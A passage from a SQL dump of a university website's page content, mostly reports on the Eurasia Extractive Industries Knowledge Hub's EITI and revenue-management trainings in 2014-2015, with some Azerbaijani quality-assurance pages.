Regional Trainings alumni. So far, the\r\nclassification of alumni by sectors, countries and age groups&nbsp; looks as follows: </p>\r\n<p><em>&nbsp;</em></p>\r\n<p><strong><em>&nbsp;</em></strong><strong><em>Figure</em></strong><strong><em> </em></strong><strong><em>1.&nbsp;</em></strong><strong><em></em></strong><strong><em>Classification of\r\nEurasia Hub alumni by countries &nbsp;&nbsp;&nbsp;</em></strong><strong><em></em></strong></p>\r\n<p><em>&nbsp;</em></p>\r\n<p><img src=\"/files/demo/Hub1.jpg\" style=\"width:450px;height:212px\"><br></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>Figure\r\n2. Classification of Eurasia Hub alumni by sectors</em></strong><strong><em>&nbsp;&nbsp;&nbsp;&nbsp; </em></strong><strong><em></em></strong></p>\r\n<p>&nbsp;</p>\r\n<p><img width=\"428\" height=\"208\" src=\"/files/demo/Hub2.jpg\" v:shapes=\"Chart_x0020_4\" style=\"width: 450px; height: 219px;\"></p>\r\n<p>&nbsp;</p>  <br></div>'),(1147,717,'en','Gallery','Gallery','<div><br></div><div><a href=\"http://www.khazar.org/en/menus/449/value_chain\"><img src=\"http://www.khazar.org/files/demo/14_12_10_VC%2C2013-37.jpg\" style=\"border:0px #0000ee;width:300px;height:200px;margin:7px;float:left\"></a>&nbsp;<a href=\"http://www.khazar.org/en/menus/450/revenue_management_and_economic_diversification\"><img src=\"http://www.khazar.org/files/demo/14_12_10_RM-2.jpg\" title=\"Revenue Management and Economic Diversification\" alt=\"Revenue Management and Economic Diversification\" style=\"border:0px #0000ee;width:300px;height:200px;margin:7px;float:left\"></a>&nbsp;&nbsp; &nbsp;<div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>&nbsp;&nbsp;<a href=\"http://www.khazar.org/en/menus/685/value_chain\">Value&nbsp;Chain</a> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<a href=\"http://www.khazar.org/en/menus/686/revenue_management_and_economic_diversification\">Revenue Management and Economic Diversification</a></div><div><br></div><div><a href=\"http://www.khazar.org/en/menus/452/country_trainings\"><img src=\"http://www.khazar.org/media/14_12_10_CT_(1).JPG\" style=\"border:0px #0000ee;width:300px;height:200px;margin:7px;float:left\"></a>&nbsp;<a href=\"http://www.khazar.org/en/menus/451/summer_school\"><img src=\"http://www.khazar.org/media/14_12_10_SS_(1).JPG\" style=\"border:0px  #0000ee;width:300px;height:200px;margin:7px;float:left\"></a><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>&nbsp;&nbsp;<a href=\"http://www.khazar.org/en/menus/688/_country_trainings\">Country Trainings</a>&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href=\"http://www.khazar.org/en/menus/687/summer_school\">Summer School</a></div><div><br></div><div><a href=\"http://www.khazar.org/en/menus/448/tot\"><img src=\"http://www.khazar.org/media/14_12_10_ToT_043.jpg\" style=\"border:0px  #0000ee;width:300px;height:225px;margin:7px;float:left\"></a><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>&nbsp;&nbsp;<a href=\"http://www.khazar.org/en/menus/684/tot\">ToT</a></div>  <br></div>'),(1148,718,'en','ToT','ToT','<div><br></div><div><br></div>'),(1149,719,'en','Value Chain','Value Chain',''),(1150,720,'en','Revenue Management and Economic Diversification','Revenue Management and Economic Diversification',''),(1151,721,'en','Summer School','Summer School',''),(1152,722,'en',' Country Trainings',' Country Trainings',''),(1153,711,'en','Our Focus','Our Focus',''),(1154,725,'en','Value Chain Core Course','Value Chain Core Course','<div><p>The Eurasia Hub has built its activities based on the value chain approach, including the Natural Resource Charter. This approach helps participants to comprehend EI transparency, accountability and management as an integrated system with forward and backward linkages; and also to have a clear understanding of the impact of individual elements of this chain on the whole, their dependency and consistency of rationale.</p><p>Value Chain courses are conducted on an annual basis, alternating between English- and Russian-speaking audiences.</p></div><div><br></div>'),(1155,726,'en','Revenue Management and Economic Diversification Course','Revenue Management and Economic Diversification Course','<div><p>The Eurasia Hub has identified revenue management as the main priority theme for the region. This module’s approbation process has already been initiated by conducting several workshops where a model developed by RWI was further improved through engagement of regional experts.</p><p>The Hub will continue to pay attention to this topic because it has significant social-political-economic importance for the entire region and its various countries, and also considering its practical importance for governance and from a practical standpoint.</p><p>Within the framework of this topic, the Hub identifies the following issues as primary foci to be addressed in the module: how to build diversification away from extractives into government policies in the short and long term; how to form a government policy for spending sovereign wealth/natural resource funds; how CSOs can oversee governments in these activities; how CSOs can assist governments in the development of alternative programs that will lead to transformational human and economic development.</p><p>These trainings will have very practical significance as they will provoke various scenarios and explore avenues for the formation of more operational policies. Considering the special significance of the topics for decision-makers in particular, both parliamentarians and representatives of the executive institutes of the government will be engaged in trainings.</p></div><div><br></div>'),(1188,485,'az','Missiyası','Missiyası','<p><strong style=\"font-size:large\">Keyfiyyətin Təminatı Sisteminin Xəzər Universitetində yaradılmasının məqsədi, əsasən, aşağıdakılardır:</strong><br></p><ul style=\"font-size:medium\"><li>Tədrisin və tədqiqatın keyfiyyətinin yüksəldilməsi;</li><li>Yeniliyin tətbiqi və təhsil üçün imkanların və mənbələrin araşdırılması;</li><li>Ali təhsil müəssisələrində idarəetmənin səviyyəsini qaldırmaq;</li><li>Qiymətləndirmə sistemlərinin formalaşdırılması.</li></ul><span style=\"font-size:large\"><br><strong>Keyfiyyət göstəriciləri bunlardır:</strong></span><p></p><p></p><ul style=\"font-size:medium\"><li>Təhsil, dərs proqramları və tədris&nbsp;planları  <br></li><li>Tələbələr və tələbələrə dəstək sistemi</li><li>Tədqiqat və müəllimlik fəaliyyəti</li><li>Təhsil siyasəti (ciddi tədris mühiti)</li><li>Maddi-texniki resurslar (binalar, otaqlar, laboratoriyalar, yeməkxana və s.)</li><li>Kitabxana</li><li>Ali təhsil müəssisəsinin inkişafı və fəaliyyət planları</li></ul><span style=\"font-size:large\"><br></span><strong style=\"font-size:large\">Xəzər Universitetində Keyfiyyətin Təminatı Sistemi 2 aspekti əhatə edir:</strong><br><ul style=\"font-size:medium\"><li><strong>Akademik keyfiyyəti:</strong>&nbsp;tədris və təlimin keyfiyyəti, tədris planlarının keyfiyyəti.</li><li><strong>İnfrastrukturun keyfiyyəti:</strong>&nbsp;qurğular, avadanlıqlar.</li></ul><br><strong style=\"font-size:large\">Təhsildə Keyfiyyətin Təminatı Mərkəzi 3 istiqamətdə fəaliyyət göstərir:</strong><br><ul style=\"font-size:medium\"><li>Kurrikulumların yoxlanılması və təhlili;</li><li>Tələbələrin öyrənilməsi, təlim və qiymətləndirmə;</li><li>Kadrların inkişafı və qiymətləndirilməsi.Bu Xəzər Universitetində Avropa Birliyinin akademik standardlarına uyğun qurulmasına və tanınmasına imkan verir.</li></ul>Bu Xəzər Universitetində Avropa Birliyinin akademik standardlarına uyğun qurulmasına və tanınmasına imkan verir.<p></p><div>  <br></div>'),(1156,727,'en','Auxiliary Courses','Auxiliary Courses','<div><p>Based on regional needs, the hub offers basic auxiliary courses in addition to core courses on the EI value chain and technical trainings. The hub provides EITI courses for a number of countries (Albania, Afghanistan, Tajikistan, Ukraine) as these countries work towards validation and compliance statuses.&nbsp; EITI Essentials courses run for countries that have not yet signed up for the initiative but would benefit from revenue transparency, and the opportunity for civil society to work with government and companies as part of a multi-stakeholder group.&nbsp; Such agenda-setting courses would target countries such as Turkmenistan, where very little traction has been gained in democratic governance.</p><p>Another auxiliary course will be offered on EI contracts for as long as it remains a topical subject for a group of countries in the region (Afghanistan, Albania, Kyrgyzstan, and Mongolia). Some of these auxiliary courses will be offered in different countries in the region.</p><p>Auxiliary courses are short (3 days long) and have a specific goal-oriented character. The content of these courses will be delivered progressively on a multilevel basis, e.g. including knowledge and skills in that field.</p></div><div><br></div>'),(1157,728,'en','Special Country Courses','Special Country Courses','<div><div><div>Eurasia Hub has delivered a number of courses in some Eurasian countries, based on the country needs. The Hub has organized&nbsp;<br></div>  <div><br></div></div><div><ul><li>EITI basic courses in Dushanbe (Tajikistan), Tbilisi (Georgia), Lviv&nbsp; and Kyiv (Ukraine),</li></ul><br></div><div><ul><li>EITI new Standards in Issyk Kul, Kyrgyzstan,</li></ul><br></div><div><ul><li>Revenue management in Almaty, Kazakhstan,</li></ul><br></div><div><ul><li>The EI value chain course in Albania</li></ul><br></div><div><ul><li>A study tour in Baku for Afghanistan EITI MSG.</li></ul></div></div><div><br></div>'),(1189,486,'az','Daxili qiymətləndirmə','Daxili qiymətləndirmə','<p>Xəzər Universiteti&nbsp;mütəmadi olaraq tələbələrin aktiv iştirakı ilə daxili qiymətləndirmə həyata keçirir və onun nəticələri hər bir şöbə və fakültə tərəfindən təhlil edilir.&nbsp;</p>'),(1158,723,'en','Training','Training','<p style=\"font-family: tahoma, sans-serif; font-size: medium;\" margin-top:5.0pt;margin-right:0in;margin-bottom:5.0pt;margin-left:0in;text-align:justify\"\"=\"\"><strong>Report on Eurasia\r\nExtractive Industries Knowledge Hub activities over 2015</strong></p>\r\n<p margin-top:5.0pt;margin-right:0in;margin-bottom:5.0pt;margin-left:0in;text-align:justify\"\"=\"\">In 2015 the Eurasia Extractive Industries Knowledge Hub conducted two\r\nregional trainings in Istanbul (Turkey) and four auxiliary courses in Dushanbe\r\n(Tajikistan).</p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:13.6pt;margin-left:0in;text-align:justify;vertical-align:baseline\"\"=\"\"><strong>On 12-13 December, 2015 </strong>Eurasia Extractive Industries Knowledge Hub hold\r\n“EITI promotion and public awareness over transparency initiative in\r\nTajikistan” training in Dushanbe, organized by the Ministry of Finance of\r\nTajikistan with support of the World Bank.</p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:13.6pt;margin-left:0in;text-align:justify;vertical-align:baseline\"\"=\"\">This event was important for\r\nthe initiative in terms of publication and presentation of the First National\r\nEITI Report and its visual version. </p>\r\n<p>20 representatives of media\r\nfrom state and private radio and television, newspapers and magazines, internet\r\ncommunity, as well as leading local and regional NGOs took part in the\r\ntraining. </p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:13.6pt;margin-left:0in;text-align:justify;vertical-align:baseline\"\"=\"\">Two days event was composed of\r\nseveral sessions and permanent work in groups. &nbsp;The participants received detailed information\r\nabout EITI, its standards and requirements.&nbsp;\r\nTrainers’ main task was to simplify the understanding of EITI among mass\r\nmedia and public figures.</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" style=\"\" margin-left:2.75pt;border-collapse:collapse;border-width:1px;border-style:solid;table-layout:fixed;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"215\" style=\"\" width:161.45pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img src=\"/files/demo/Hub3.jpg\" style=\"width:200px;height:151px;margin:7px\"><br></p>\r\n  </td>\r\n  <td width=\"216\" style=\"\" width:161.9pt;border:solid=\"\" black=\"\" 1.0pt;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img src=\"/files/demo/Hub4.jpg\" style=\"width:200px;height:151px;margin:7px\"><br></p></td></tr></tbody></table>\r\n<p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white;vertical-align:baseline\"\"=\"\"><strong>On 10-11 December, 2015 </strong>Eurasia Extractive Industries Knowledge Hub training\r\nin Dushanbe was entitled to \"EITI report data analysis and its practical application in Tajikistan”, organized by the\r\nMinistry of Finance of the Tajikistan Republic with support of the World Bank.</p>\r\n<p>&nbsp;</p><table style=\"font-family:tahoma, sans-serif\"><tbody><tr><td><img src=\"/files/demo/Hub6.jpg\" style=\"border:0px #000000;width:200px;height:150px;margin:7px;float:left\">&nbsp;</td><td>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;</td><td>Trainers Ingilab Ahmedov and Farid Guliyev conducted two day courses on data analysis methodology, EITI report data connection with major macroeconomic indicators, as well as Tajikistan’s extractive industry; practical application of this data at evaluation of the extractive industries and further improvement of their management.Most of those 21 participants in the courses were members of the multi-stakeholder group (MSG) from all three parties- government, companies and civil society.</td></tr></tbody></table><div style=\"clear:both\"><br></div><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:13.6pt;margin-left:0in;line-height:13.6pt;vertical-align:baseline\"\"=\"\"><br></p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\"><strong>On 7-9&nbsp;\r\nDecember, 2015</strong>&nbsp; NRGI’s\r\nEurasia Knowledge Hub organized 3 day Course on “Management and division of\r\nRevenues from Natural Resources” in Istanbul. </p>\r\n<p style=\"font-size: medium;\" margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">Applying MSG format, the\r\nCourse was attended by 25 representatives of government structures, CSO and\r\ncompanies from Azerbaijan, Ukraine, Kazakhstan, Mongolia, Kazakhstan,\r\nKyrgyzstan and Tajikistan. </p>\r\n<p style=\"font-size: medium;\" margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">NRGI’s Andrew Bauer, David\r\nMihayli and Hub expert Kenan Aslanly led number of sessions on theoretical\r\ngrounds and different models for management and division of extractive\r\nrevenues. Theoretical sessions were followed by practical action planning\r\nsessions where country teams discussed problems of their countries on revenue management\r\nand proposed recommendation. </p>\r\n<p style=\"font-family: tahoma, sans-serif; font-size: medium;\" margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family: tahoma, sans-serif; font-size: medium;\" margin-left:2.75pt;border-collapse:collapse;border-width:1px;border-style:solid;table-layout:fixed;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"161\" style=\"\" width:121.1pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img src=\"/files/demo/Hub7.jpg\" style=\"width:150px;height:100px;margin:7px\"><br></p>\r\n  </td>\r\n  <td width=\"161\" style=\"\" width:121.1pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img src=\"/files/demo/Hub8.jpg\" style=\"width:150px;height:100px;margin:7px\"><br></p>\r\n  </td>\r\n  <td width=\"161\" style=\"\" width:121.1pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img src=\"/files/demo/Hub9.jpg\" style=\"width:150px;height:100px;margin:7px\"><br></p>\r\n  </td>\r\n  <td width=\"162\" style=\"\" width:121.45pt;border:solid=\"\" black=\"\" 1.0pt;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img src=\"/files/demo/Hub10.jpg\" style=\"width:150px;height:100px;margin:7px\"><br></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"font-family:tahoma, sans-serif;font-size:medium\"><strong>&nbsp;</strong></p>\r\n<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>On\r\n23-24 November 2015</strong>.\r\n“EITI validation process and pre-validation preparation in Tajikistan” was a training\r\nconducted by the Eurasia Extractive Industries\r\nKnowledge Hub in Dushanbe organized by the Ministry of Finance of the\r\nTajikistan Republic with support of the World Bank. </p>\r\n<p>Main task of the training was to\r\nincrease skills of the multi-stakeholder group in the light of new EITI\r\nstandard requirements, as well as search and elimination of existing shortages\r\nin the EITI reporting and process of transparency initiative implementation.</p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;background:white;vertical-align:baseline\"\"=\"\">Most of those 31 participants\r\nin the courses were members of the multi-stakeholder group from all three\r\nparties - government, companies and civil society, as well as delegation of\r\nKyrgyzstan which is also planning to pass validation.</p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:13.6pt;margin-left:0in;text-align:justify;vertical-align:baseline\"\"=\"\">Two days session was led by\r\nexperienced trainers from the Eurasia Extractive Industries Knowledge Hub and\r\nconsisted of several group works, discussions over validation methodology\r\nissues, terms, consequent measures\r\nand possible scenario of the validation results. </p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">The gaps in the state governance mechanism\r\nof Tajikistan extractive industries have been revealed during the discussion.\r\nThere were identified gaps in tax collection and other payments, the deficiencies\r\nof the existing system of extractive industry revenue distribution between\r\nstate and local budgets.</p>\r\n<p>Certain recommendations have been prepared to eliminate those deficiencies\r\nand improve the public finance management. The participants were given\r\ncertificates upon the completion of the training.</p>\r\n<p style=\"\" margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family: tahoma, sans-serif;\" margin-left:2.75pt;border-collapse:collapse;border-width:1px;border-style:solid;table-layout:fixed;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"215\" style=\"\" width:161.45pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img width=\"202\" height=\"152\" src=\"/files/demo/Hub11.jpg\" v:shapes=\"_x0000_i1031\" style=\"border:0px  #000000;border: 0px rgb(0, 0, 0); width: 200px; height: 150px; vertical-align: baseline; margin: 7px;\"></p>\r\n  </td>\r\n  <td width=\"215\" style=\"\" width:161.5pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img width=\"199\" height=\"151\" src=\"/files/demo/Hub12.jpg\" v:shapes=\"_x0000_i1032\" style=\"border:0px  #000000;border: 0px rgb(0, 0, 0); width: 200px; height: 151px; vertical-align: baseline; margin: 7px;\"></p>\r\n  </td>\r\n  <td width=\"216\" style=\"\" width:161.9pt;border:solid=\"\" black=\"\" 1.0pt;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\"><img width=\"197\" height=\"149\" src=\"/files/demo/Hub13.jpg\" v:shapes=\"_x0000_i1033\" style=\"border:0px  #000000;border: 0px rgb(0, 0, 0); width: 200px; height: 151px; vertical-align: baseline; margin: 7px;\"></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><strong>On\r\nJune 22-24, 2015</strong>\r\n&nbsp;NRGI’s Eurasia Knowledge Hub\r\norganized&nbsp; 3 day workshop on “EITI Data\r\nAnalyses” in Istanbul.&nbsp; </p>\r\n<p>Main target of the workshop was\r\nto deliver NRGI’s EITI report analyses methodology and create multistakeholder\r\natmosphere to discuss problems and find solutions. </p>\r\n<p>The workshop was attended by 23\r\nMSG members and activists from Azerbaijan, Kazakhstan, Kyrgyzstan, Tajikistan\r\nand Ukraine. The regional character of the workshop gave opportunity to\r\nparticipants to hear problems and approach of others as well. </p>\r\n<p style=\"background:undefined \">Participants shared with their views on main gaps in their EITI reporting. Main analyze subject during the workshop was 2013 EITI report of Kazakhstan, due to fact it was the only published and available in Russian language EITI report in Eurasia.</p><p>The analyses methodology applied\r\nduring the workshop was worked out by NRGI experts. It is a 3 step process\r\nstarting with collection of information, its evaluation based on provisions <a href=\"http://www.resourcegovernance.org/publications/natural-resource-charter-second-edition\">Natural\r\nResource Charter</a> and other best practices and working out policy\r\nrecommendations. Sessions were delivered by Eurasia Hub and NRGI Eurasia staff\r\nand covered topics on EITI Conception and Standard, EITI report analyses\r\nmethodology, License Allocation, Production, Government Receipts from\r\nExtractives, State Owned Enterprises and Sub-national transfers. Each session\r\nhad group work component when country MSG teams came together to analyze\r\nparticular information and work out recommendations.</p>\r\n<p>The\r\nsession on “Analyses methodology” started with practical question on why\r\nanalyses was important to participants. The group works showed not only CSO\r\nmembers were active, but government officials and company representatives were\r\nalso very engaged and made presentations on behalf of their team. </p>\r\n<p>Coming\r\nmonths will be important for all countries participating in 22-24 June\r\nworkshop; Azerbaijan’s 2013 report in expected in July and will task local\r\nexperts and Coalition with new investigations. Tajikistan, Kyrgyzstan and\r\nUkraine also has tight deadlines to publish their first ETI Standard reports\r\nvery soon. Thus timely delivered skills and capacity will enable all MSG\r\nparties to check the quality of their EITI reports and also prevent gaps in\r\nfuture reporting. New EITI reports and their analyses will also open new\r\ndiscussions and keep MSGs active. <a></a></p>\r\n<p>&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" style=\"\" margin-left:2.75pt;border-collapse:collapse;border-width:1px;border-style:solid;table-layout:fixed;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt\"\"=\"\">\r\n <tbody><tr style=\"\" mso-yfti-irow:0;height:127.2pt\"\"=\"\">\r\n  <td width=\"215\" style=\"\" width:161.45pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt;height:127.2pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:12.0pt\"=\"\"><img width=\"210\" height=\"157\" src=\"/files/demo/Hub14.jpg\" align=\"left\" hspace=\"12\" v:shapes=\"Picture_x0020_2\" style=\"border:0px  #000000;border:0px  #000000;width: 200px; height: 149px; margin: 7px; float: left;\"></p>\r\n  </td>\r\n  <td width=\"215\" style=\"\" width:161.5pt;border:solid=\"\" black=\"\" 1.0pt;border-right:none;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt;height:127.2pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:12.0pt\"=\"\"><img width=\"213\" height=\"160\" src=\"/files/demo/Hub16.jpg\" align=\"left\" hspace=\"12\" v:shapes=\"Picture_x0020_1\" style=\"border:0px  #000000;border:0px  #000000;width: 200px; height: 150px; margin: 7px; float: left;\"></p>\r\n  </td>\r\n  <td width=\"216\" style=\"\" width:161.9pt;border:solid=\"\" black=\"\" 1.0pt;padding:2.75pt=\"\" 2.75pt=\"\" 2.75pt;height:127.2pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:12.0pt\"=\"\"><img width=\"210\" height=\"158\" src=\"/files/demo/Hub15.jpg\" align=\"left\" hspace=\"12\" v:shapes=\"Picture_x0020_3\" style=\"border:0px  #000000;width: 200px; height: 150px; margin: 7px; float: left;\"></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>From June 17 to 19, 2015 &nbsp;</strong>Eurasia Extractive Industries Knowledge\r\nHub conducted training on capacity building for Tajikistan multi-stakeholder\r\ngroup. </p>\r\n<p><img width=\"215\" height=\"161\" src=\"/files/demo/Hub17.jpg\" align=\"left\" hspace=\"12\" v:shapes=\"_x0000_s1031\" style=\"border:0px  #000000;border: 0px rgb(0, 0, 0); float: left; margin: 7px; width: 200px; height: 148px;\"></p>\r\n<p>Task of this training was to study EITI standards, principles and requirements,\r\nand role of each stakeholder in successful implication of the initiative. </p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">During three day training\r\nthe participants received information on EITI Concept and Standard, as well as detailed\r\nclarification on certain topics of the reporting, preparation of the first EITI\r\nreport and forthcoming steps directed to activation of MSG activity. &nbsp;</p>\r\n<p style=\"font-family: tahoma, sans-serif;\" margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p margin-top:6.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">Taking into account that the Tajikistan Republic had to provide its audit report to the EITI International Secretariat by the end of 2015, the issues of data reconciliation from the extractive companies that are collected for audit report were reflected in the course of trainings.   </p>\r\n<p>23 MSG members participated in the courses, including representatives of the government, companies and the civil society.  <br></p>\r\n<p>Training was conducted with support of the Open Society Institute- Assistance Foundation/ Tajikistan in the frames of “Transparency and Accountability” program in partnership with Ministry of Finance of the Tajikistan Republic, a leading body in EITI introduction through Tajikistan and EITI National Secretariat.  <br></p>\r\n<p><br></p>'),(1159,729,'en','Upcoming Events','Upcoming Events',''),(1160,730,'en','Past  Events','Past  Events',''),(1161,731,'en','2014','2014','<div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_eurasia_news.jpg\" style=\"border:0px #000000;width:200px;height:114px;margin:7px;float:left\"><p style=\"background:undefined \"><strong>Eurasia Hub strategy development was given a start.&nbsp;</strong>First discussions were organized during Regional Eurasia meeting in Istanbul. OSF representatives from Ukraine, Kyrgyzstan, Kazakhstan, PWYP regional coordinator and newly elected Steering Committee member from Eurasia, as well as NRGI staff came together to discuss 2015-2017 strategy for Eurasia Hub. NRGI’s Matteo Pellegrini made a presentation on knowledge hub programs of NRGI, its history and achievements. He also shared with his view that although being part of NRGI strategy, Hubs should be independent and develop new training modules based on needs of countries in region.</p><p>He also talked about recent Eurasia Hub evaluation and main conclusions: “ToT Focus, high demand, relevance, regularity and diversity of offerings, as well as existence of follow up and Hub’s becoming a real “Brand” are of strong sides. However, there are certain things that need improvement and institutional anchorage, alumni network, lack of M&amp;E and financial sustainability are among them” – said Matteo.</p><p>Matteo also informed about next stages for strategy developments, about guidelines and templates developed for this purpose and potential mapping process. Eurasia Hub director Ingilab Ahmadov and NRGI regional coordinator Galib Efendiyev told about Eurasia Hub background, achievements and alumni and funding opportunity provided recently by SECO.  <br></p><p>There were active discussions on what areas were important for next stage. NRGI’s Fidan Bagirova presented Hub evaluation outcomes provided just prior to Istanbul meeting: “Survey we provided within HUB alumni and PWYP network showed that there were particular topics that were requested to be included to Hub agenda. Budget and state procurement topics were leading in this list” – she said. She also mentioned on SoE, data analyses and gap assessment methodology workshops were highly demanded by Istanbul regional meeting participants. PWYP’s Oliana Valigura told about needs of PWYP affiliated coalitions in region: “Legal analyses of extractive sector, fundraising methodology, use of data and sub-national EITI are among issues of interest of many CSO representatives in region” – said Oliana. She also touched post-training activities and mentioned motivation was very essential in this respect. PWYP newly selected Steering Committee member Olena Pavlenko said Hub trainings can be a tool for solution of problems and conflicts with national coalitions. OSF funding for Hub was also much discussed and OSF representatives from Kyrgyzstan and Kazakhstan told about funding restrictions for travels and group tried to discuss solutions for this situation.</p><p>Galib Efendiyev opened discussion about possible sub-hubs in several countries of the region. NRGI Mongolia country coordinator Dorjdari&nbsp; Namkhaijantsan stressed importance of opening a sub-hub in Mongolia:&nbsp; “There are several reasons and one of them is language issue. Mostly representatives from Mongolia speak neither Russian, nor English and that becomes an obstacle” – said Dorjdari.</p><p>Finally, the group debated on governance of Hub and inclusion of new stakeholders to Hub Board. Summarizing the strategic discussion meeting Galib Efendiyev told Eurasia Hub will start working on its next period strategy and Board members will be contacted for their contribution and recommendations.<strong>&nbsp;</strong></p><p><strong>On June 23 - July 2 , 2014&nbsp;</strong>Eurasia Extractive Industries Knowledge Hub in Khazar University organized a summer school on “Economic Diversification and Sustainable Development in Petroleum Rich Countries” at the School of Economics and Management of Khazar University. The course was delivered&nbsp; by the dean of the School of Economics and Management of Khazar University and the director of Eurasia Hub Ingilab Ahmadov, the School of Economics and Management faculty members Namik Khalilov and Nijat Garayev . During eight days, students learned the specifics of petroleum economy, revenue management and economic diversification in the oil rich countries. At the end of the summer school, 21 students who participated in the course passed the exam and were awarded with certificates. This is the third summer school organized by Eurasia Hub at Khazar University. &nbsp;</p><img src=\"http://www.khazar.org/files/demo/14_11_27_Lvov%2CMay_2014.JPG\" style=\"border:0px  #000000;width:150px;height:112px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_27_Lvov1%2CMay_2014.JPG\" style=\"border:0px  